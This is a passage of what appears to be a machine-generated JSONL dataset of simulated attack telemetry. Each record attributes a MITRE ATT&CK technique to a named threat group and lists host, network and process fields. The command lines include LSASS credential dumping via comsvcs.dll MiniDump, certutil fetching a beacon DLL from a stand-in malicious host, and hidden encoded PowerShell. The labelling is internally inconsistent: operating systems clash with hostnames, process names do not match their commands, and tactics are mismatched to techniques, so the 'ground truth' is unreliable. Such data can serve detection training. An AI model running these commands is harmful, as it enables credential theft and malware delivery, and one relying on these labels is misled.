(DS0028)","timestamp":"2025-05-04T05:22:01.000Z","user":{"name":"i-vi4ace74kbn7","sid":"S-1-5-21-142278848-759366184-5954"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Credential Access","Command and Control"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20251205T195918000Z_0003543","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.253.89.234","name":"WIN-FIN-SRV-98S7DYDMBO","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3543UNC4841T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.45.240.225","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-11-30T11:42:47.000Z","user":{"name":"CORP\\1yamfya9t69r","sid":"S-1-5-21-905740124-905757264-4493"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_apt29_20260516T022433000Z_0003545","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.89.74.209","name":"APP-WEB-STU5YWLC8P","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3545APT29T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.54.128.240","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 959 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-01-22T09:13:10.000Z","user":{"name":"azuread\\sw8enjk8dqji","sid":"S-1-5-21-223490347-507113367-6005"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Lateral Movement"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20260706T172251000Z_0003547","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.52.225.210","name":"DB-ORACLE-B1CXTXMJ5Q","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3547Lapsus$T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.98.224.83","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-09-15T03:52:53.000Z","user":{"name":"azuread\\6744dwrz2o0i","sid":"S-1-5-21-362301164-240016772-5221"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Defense Evasion","Execution"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20250915T232333000Z_0003549","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.244.70.182","name":"APP-WEB-R40DEU77D7","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3549Mustang PandaT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.75.48.238","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1737 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-06-12T05:54:42.000Z","user":{"name":"i-ynjp2qlqxj7w","sid":"S-1-5-21-695910240-797229063-8895"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access","Execution"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20261022T034708000Z_0003551","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.86.20.125","name":"AZURE-VM-HQBHJYZDCG","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3551Volt TyphoonT1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.10.127.199","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-01-03T01:32:34.000Z","user":{"name":"CORP\\pi1fq60qi76d","sid":"S-1-5-21-502513822-735284725-6392"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Privilege Escalation"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20260225T151911000Z_0003553","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.171.163.49","name":"IAM-ROLE-KBDSZMJNDK","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3553Lapsus$T1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.92.188.132","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-03-19T21:47:06.000Z","user":{"name":"CORP\\ol3sps2is9uw","sid":"S-1-5-21-499571830-898120235-3554"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Lateral Movement","Initial Access"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20261006T062134000Z_0003555","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.188.114.180","name":"WIN-FIN-SRV-FHCUMF05VV","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3555UNC4841T1098.004"},"network":{"domain":"github.com","dst_ip":"1.144.104.48","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3939 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-07-30T09:01:49.000Z","user":{"name":"svc_r7g97ru45h7y","sid":"S-1-5-21-552389658-331212579-7808"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence","Exfiltration"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20260903T172858000Z_0003557","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.235.147.123","name":"IAM-ROLE-HBZL1Q35JE","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3557APT41T1484.001"},"network":{"domain":"github.com","dst_ip":"1.162.129.246","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-09-10T07:28:06.000Z","user":{"name":"azuread\\nf0l485pn256","sid":"S-1-5-21-178758374-136494546-9627"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration","Reconnaissance"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20251018T134220000Z_0003559","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.61.64.1","name":"AZURE-VM-XQPHJUIV1H","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3559APT29T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.14.169.251","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-09-17T07:00:22.000Z","user":{"name":"azuread\\zbzfdmwtgx9r","sid":"S-1-5-21-208107136-831972560-6993"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Lateral Movement","Initial Access","Impact"],"technique_id":"T1071.001"},"event_id":"evt_unc4841_20250221T092803000Z_0003561","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.187.13.45","name":"DB-ORACLE-L5SXNFUA4M","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3561UNC4841T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.36.94.43","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-01T18:23:33.000Z","user":{"name":"i-qx2g8ldsfonb","sid":"S-1-5-21-144694016-634748087-7141"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Collection"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20250720T033912000Z_0003563","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.139.150.170","name":"AZURE-VM-1M7OJET22W","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3563Lapsus$T1546.003"},"network":{"domain":"github.com","dst_ip":"1.135.68.220","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1313 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-01-10T09:16:55.000Z","user":{"name":"CORP\\v5xdzecoheni","sid":"S-1-5-21-993286676-960156718-1498"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution","Lateral Movement","Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20251211T185800000Z_0003565","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.194.60.93","name":"APP-WEB-Y84A85EO22","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3565FIN7T1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.44.206.95","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-09-12T09:27:36.000Z","user":{"name":"svc_izpjhqrosc77","sid":"S-1-5-21-817036573-337311376-4776"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Execution"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20260214T053730000Z_0003567","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.57.7.81","name":"EC2-INST-U7L2LTRGMZ","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3567Volt TyphoonT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.3.251.253","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-06-05T07:52:19.000Z","user":{"name":"svc_ioqau8y1w29f","sid":"S-1-5-21-174949760-514654927-9461"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Privilege Escalation","Execution","Collection"],"technique_id":"T1021.006"},"event_id":"evt_apt29_20261129T185522000Z_0003569","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.210.149.129","name":"WIN-FIN-SRV-CXV4C971TY","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3569APT29T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.157.147.105","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-03-16T09:39:33.000Z","user":{"name":"azuread\\xv6rze36aaqk","sid":"S-1-5-21-783426146-583871116-8493"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution","Initial Access","Persistence"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20260823T020111000Z_0003571","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.157.146.76","name":"DB-ORACLE-59AN486CQC","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3571UNC4841T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.28.3.125","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-01-01T07:24:05.000Z","user":{"name":"svc_moph8hubwnh1","sid":"S-1-5-21-863539250-530298718-5687"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Persistence"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20260102T110315000Z_0003573","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.153.129.122","name":"DB-ORACLE-FM1HFD5MLZ","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3573Mustang PandaT1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.2.211.206","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-11-21T11:59:43.000Z","user":{"name":"azuread\\udgko5kcek8q","sid":"S-1-5-21-378114058-722330657-8681"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Collection","Execution"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20250210T012024000Z_0003575","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.23.106.17","name":"EC2-INST-VJCKGNPC6L","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3575Volt TyphoonT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.111.14.65","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2026-09-30T18:40:43.000Z","user":{"name":"azuread\\ug3av76vdwgy","sid":"S-1-5-21-398032888-174702082-5438"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Persistence"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20260429T115433000Z_0003577","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.159.161.88","name":"APP-WEB-GOIDOP67M7","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3577APT41T1059.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.108.69.77","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3624 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-10-22T16:37:37.000Z","user":{"name":"i-ryulxr59gq6t","sid":"S-1-5-21-647581352-347039737-2563"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Defense Evasion","Impact"],"technique_id":"T1570"},"event_id":"evt_apt29_20260219T144453000Z_0003579","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.120.96.163","name":"EC2-INST-0WYD4761BG","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3579APT29T1570"},"network":{"domain":"github.com","dst_ip":"1.119.124.62","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-01-24T21:21:50.000Z","user":{"name":"svc_f7yb9hwlnnkq","sid":"S-1-5-21-676686868-443815255-5630"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance","Initial Access"],"technique_id":"T1531"},"event_id":"evt_lapsus_20260916T185656000Z_0003581","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.201.86.144","name":"APP-WEB-KCAM0DXSNU","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3581Lapsus$T1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.11.116.109","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-12-23T02:22:46.000Z","user":{"name":"arn:aws:iam::hkgxhrxfbt9v","sid":"S-1-5-21-515157412-228524721-3637"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Command and Control","Credential Access","Impact"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20260305T025008000Z_0003583","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.227.245.241","name":"IAM-ROLE-WJIZNJDXSA","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3583UNC4841T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.27.235.194","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-09-14T06:01:22.000Z","user":{"name":"CORP\\cy1ru11tdxtv","sid":"S-1-5-21-208099405-584524366-7455"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Exfiltration","Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_unc4841_20250103T181712000Z_0003585","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.249.132.41","name":"APP-WEB-ZFN1TMV1QD","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3585UNC4841T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.192.200.81","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-06T07:52:17.000Z","user":{"name":"CORP\\qlkz3g76131r","sid":"S-1-5-21-853407769-926246608-4499"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Persistence","Reconnaissance","Privilege Escalation"],"technique_id":"T1003.001"},"event_id":"evt_fin7_20260809T175338000Z_0003587","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.209.32.68","name":"EC2-INST-BMP2MTSDJ1","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3587FIN7T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.124.35.181","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-10-23T20:12:38.000Z","user":{"name":"azuread\\8n3hx94qnohp","sid":"S-1-5-21-861810110-256986825-1030"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Credential Access","Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_unc4841_20250602T223332000Z_0003589","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.252.15.158","name":"APP-WEB-OPWOSKMMPJ","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"3589UNC4841T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.173.65.190","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc 